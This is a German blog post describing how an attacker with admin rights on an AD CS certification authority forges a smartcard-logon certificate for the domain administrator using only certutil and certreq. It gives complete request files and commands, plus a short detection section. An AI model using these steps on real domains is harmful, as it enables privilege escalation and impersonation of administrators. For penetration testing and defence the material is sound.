Signieren von Zertifikaten unter Umgehung der Zertifizierungsstelle – allein mit Bordmitteln

Im Artikel "Signieren von Zertifikaten unter Umgehung der Zertifizierungsstelle" habe ich beschrieben, wie sich ein Angreifer, der im Besitz administrativer Rechte auf der Zertifizierungsstelle ist, unter Umgehung der Zertifizierungsstellen-Software, also unter direkter Verwendung des privaten Schlüssels der Zertifizierungsstelle, ein Anmeldezertifikat für administrative Konten der Domäne erzeugen kann.

Im vorigen Artikel habe ich das PSCertificateEnrollment Powershell Modul verwendet, um das Vorgehen zu demonstrieren. Microsoft liefert mit certreq und certutil allerdings bereits ab Werk perfekt geeignete Pentesting-Werkzeuge direkt mit dem Betriebssystem mit.

Die grundlegende Vorgehensweise und die zugrundeliegende Problematik sind im Artikel "Angriffsvektor auf den Active Directory Verzeichnisdienst über den Smartcard Logon Mechanismus" beschrieben.

Die große Herausforderung, die wir bei dieser Operation haben ist, in den zu signierenden Zertifikatantrag eine Erweiterung für die Sperrlistenverteilungspunkte einzutragen, da Domänencontroller ansonsten die Verarbeitung des Anmeldezertifikats verweigern werden. Glücklicherweise ist diese Erweiterung bei allen ausgestellten Zertifikaten identisch. Die benötigte Information kann somit aus einem vorliegenden Zertifikate (z.B. von einem Webserver oder per Export aus der Zertifizierungsstellen-Datenbank gewonnen werden).

Somit wird zunächst folgender Befehl gegen ein beliebiges als Datei vorliegendes Zertifikat der betreffenden Zertifizierungsstelle abgesetzt:

certutil -v -dump Dateiname-Beispiel-Zertifikat.cer

Wir suchen den Abschnitt, in welchem die hexadezimale Kodierung der Erweiterung für die Sperrlistenverteilpunkte angezeigt werden, und kopieren diese in eine Konfigurationsdatei für einen neuen Zertifikatantrag.

Die Daten werden dort mit folgender Syntax hinterlegt:

Eine vollständige Konfigurationsdatei könnte somit wie folgt aussehen:

[Version]
Signature = "$Windows NT$"
 
[Strings]
szOID_BASIC_CONSTRAINTS2 = "2.5.29.19"
szOID_ENHANCED_KEY_USAGE = "2.5.29.37"
szOID_PKIX_KP_CLIENT_AUTH = "1.3.6.1.5.5.7.3.2"
szOID_PKIX_KP_SMARTCARD_LOGON = "1.3.6.1.4.1.311.20.2.2"
szOID_SUBJECT_ALT_NAME2 = "2.5.29.17"
szOID_CRL_DIST_POINTS = "2.5.29.31"
               
[NewRequest]
RequestType = Cert
Subject = "CN=rudi"
KeyLength = 3072
Exportable = True
MachineKeySet = FALSE
KeyUsage = 0xA0
HashAlgorithm = sha256
ProviderName = "Microsoft Software Key Storage Provider"
ValidityPeriod = Years
ValidityPeriodUnits = 10
               
[Extensions]
%szOID_BASIC_CONSTRAINTS2% = "{text}CA=False"
%szOID_ENHANCED_KEY_USAGE% = "{text}"
  _continue_ = "%szOID_PKIX_KP_CLIENT_AUTH%,"
  _continue_ = "%szOID_PKIX_KP_SMARTCARD_LOGON%"
%szOID_SUBJECT_ALT_NAME2% ="{text}upn=administrator@intra.adcslabor.de"
%szOID_CRL_DIST_POINTS% = "{hex}"
  _continue_ = "30 4f 30 4d a0 4b a0 49  86 47 68 74 74 70 3a 2f"
  _continue_ = "2f 70 6b 69 2e 61 64 63  73 6c 61 62 6f 72 2e 64"
  _continue_ = "65 2f 43 65 72 74 44 61  74 61 2f 41 44 43 53 25"
  _continue_ = "32 30 4c 61 62 6f 72 25  32 30 49 73 73 75 69 6e"
  _continue_ = "67 25 32 30 43 41 25 32  30 31 28 31 29 2e 63 72"
  _continue_ = "6c"
Critical = %szOID_BASIC_CONSTRAINTS2%

Anschließend führen wir folgenden Befehl mit erhöhten Rechten ("Run as Administrator") auf dem betreffenden Zertifizierungsstellen-Server aus:

certreq -new -q -cert "{Name-der-Zertifizierungsstelle}" {Dateiname-Informations-datei}.inf {Dateiname-Zertifikat}.cer

Wird der Befehl ohne erhöhte Rechte ausgeführt, wird er mit der Fehlermeldung "Cannot find object or property. 0x80092004 (-2146885628 CRYPT_E_NOT_FOUND)" fehlschlagen.

Das resultierende Zertifikat ist gemäß unseren Angaben mit dem privaten Schlüssel der Zertifizierungsstelle ausgestellt worden.

Die Erweiterung für Sperrlistenverteilpunkte ist ebenfalls in gewünschter Form vorhanden.

"Sinnvolles" Update seit Windows 10 1709

Noch besser wird es mit Windows 10 1709 (Fall Creators Update) und somit spätestens auch dem Windows Server 2019. Hier enthält certreq bereits eine fertige Syntax für die Angabe des Sperrlistenverteilpunktes in Textform.

Ein Syntaxbeispiel kann man mit dem folgenden Befehl einsehen:

certreq -new -v -?

Die Adresse für die Sperrlistenverteilpunkte kann nun bequem direkt in Textform eingetragen werden.

Eine vollständige Konfigurationsdatei könnte somit wie folgt aussehen:

[Version]
Signature = "$Windows NT$"
 
[Strings]
szOID_BASIC_CONSTRAINTS2 = "2.5.29.19"
szOID_ENHANCED_KEY_USAGE = "2.5.29.37"
szOID_PKIX_KP_CLIENT_AUTH = "1.3.6.1.5.5.7.3.2"
szOID_PKIX_KP_SMARTCARD_LOGON = "1.3.6.1.4.1.311.20.2.2"
szOID_SUBJECT_ALT_NAME2 = "2.5.29.17"
szOID_CRL_DIST_POINTS = "2.5.29.31"
               
[NewRequest]
RequestType = Cert
KeyLength = 3072
Subject = "CN=rudi"
Exportable = True
MachineKeySet = FALSE
KeyUsage = 0xA0
HashAlgorithm = sha256
ProviderName = "Microsoft Software Key Storage Provider"
ValidityPeriod = Years
ValidityPeriodUnits = 10
               
[Extensions]
%szOID_BASIC_CONSTRAINTS2% = "{text}CA=False"
%szOID_ENHANCED_KEY_USAGE% = "{text}"
  _continue_ = "%szOID_PKIX_KP_CLIENT_AUTH%,"
  _continue_ = "%szOID_PKIX_KP_SMARTCARD_LOGON%"
%szOID_SUBJECT_ALT_NAME2% ="{text}upn=administrator@intra.adcslabor.de"
%szOID_CRL_DIST_POINTS% = "{text}"
  _continue_ = "DistPointName=true&"
  _continue_ = "URL=http://pki.adcslabor.de/CertData/ADCS Labor Issuing CA 1(1).crl"
Critical = %szOID_BASIC_CONSTRAINTS2%

Nun kann das Zertifikat in bekannter Weise erzeugt werden:

certreq -new -q -cert "{Name-der-Zertifizierungsstelle}" {Dateiname-Informations-datei}.inf {Dateiname-Zertifikat}.cer

Erkennen

Ein Ansatzpunkt, eine solche Operation zu erkennen wäre, mit Sysmon die eingegebenen Kommandozeilenbefehle zu protokollieren und den certreq-Befehl zu erkennen.

Verwendet die Zertifizierungsstelle kein Hardware Security Modul (HSM) und ist die Auditprotokollierung korrekt eingerichtet, kann hier auch ein Alarm auf die Ereignisse mit ID 5058 und ID 5059 der Quelle Microsoft-Windows-Security-Auditing gelegt werden, wenn sie durch ein Konto ausgelöst werden, welches nicht SYSTEM (der Zertifizierungsstellen-Dienst) ist.

Weiterführende Links:

Externe Quellen

  • certreq (Microsoft Corporation)
  • certutil (Microsoft Corporation)
  • Sysmon – Windows Sysinternals (Microsoft Corporation)
  • certreq.exe (Living Off The Land Binaries, Scripts and Libraries)
  • certutil.exe (Living Off The Land Binaries, Scripts and Libraries)

Ein Gedanke zu „Signieren von Zertifikaten unter Umgehung der Zertifizierungsstelle – allein mit Bordmitteln“

Kommentare sind geschlossen.

de_DEDeutsch